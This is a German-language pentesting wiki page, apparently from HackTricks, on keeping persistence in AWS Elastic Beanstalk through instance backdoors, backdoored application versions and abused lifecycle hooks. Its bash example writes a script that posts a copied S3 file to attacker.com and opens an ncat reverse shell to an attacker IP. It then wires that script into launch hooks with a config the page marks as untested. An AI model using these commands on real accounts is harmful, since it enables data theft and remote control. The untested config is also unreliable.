# AWS - Elastic Beanstalk Persistence {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk Für weitere Informationen siehe: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} ### Persistenz in der Instanz Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen innerhalb der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann. ### Hintertür in der Version Ein Angreifer könnte den Code im S3-Repo mit einer Hintertür versehen, sodass immer seine Hintertür und der erwartete Code ausgeführt werden. ### Neue hintertürbehaftete Version Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue hintertürbehaftete Version der Anwendung bereitstellen. ### Missbrauch von benutzerdefinierten Ressourcen-Lifecycle-Hooks > [!NOTE] > TODO: Test Elastic Beanstalk bietet Lifecycle-Hooks, die es Ihnen ermöglichen, benutzerdefinierte Skripte während der Bereitstellung und Beendigung von Instanzen auszuführen. Ein Angreifer könnte **einen Lifecycle-Hook konfigurieren, um regelmäßig ein Skript auszuführen, das Daten exfiltriert oder den Zugriff auf das AWS-Konto aufrechterhält**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh # Attacker uploads the script to an S3 bucket aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: AWSEBAutoScalingGroup: Metadata: AWS::ElasticBeanstalk::Ext: TriggerConfiguration: triggers: - name: stealthy-lifecycle-hook events: - "autoscaling:EC2_INSTANCE_LAUNCH" - "autoscaling:EC2_INSTANCE_TERMINATE" target: ref: "AWS::ElasticBeanstalk::Environment" arn: Fn::GetAtt: - "AWS::ElasticBeanstalk::Environment" - "Arn" stealthyLifecycleHook: Type: AWS::AutoScaling::LifecycleHook Properties: AutoScalingGroupName: Ref: AWSEBAutoScalingGroup LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING NotificationTargetARN: Ref: stealthy-lifecycle-hook RoleARN: Fn::GetAtt: - AWSEBAutoScalingGroup - Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` {{#include ../../../banners/hacktricks-training.md}}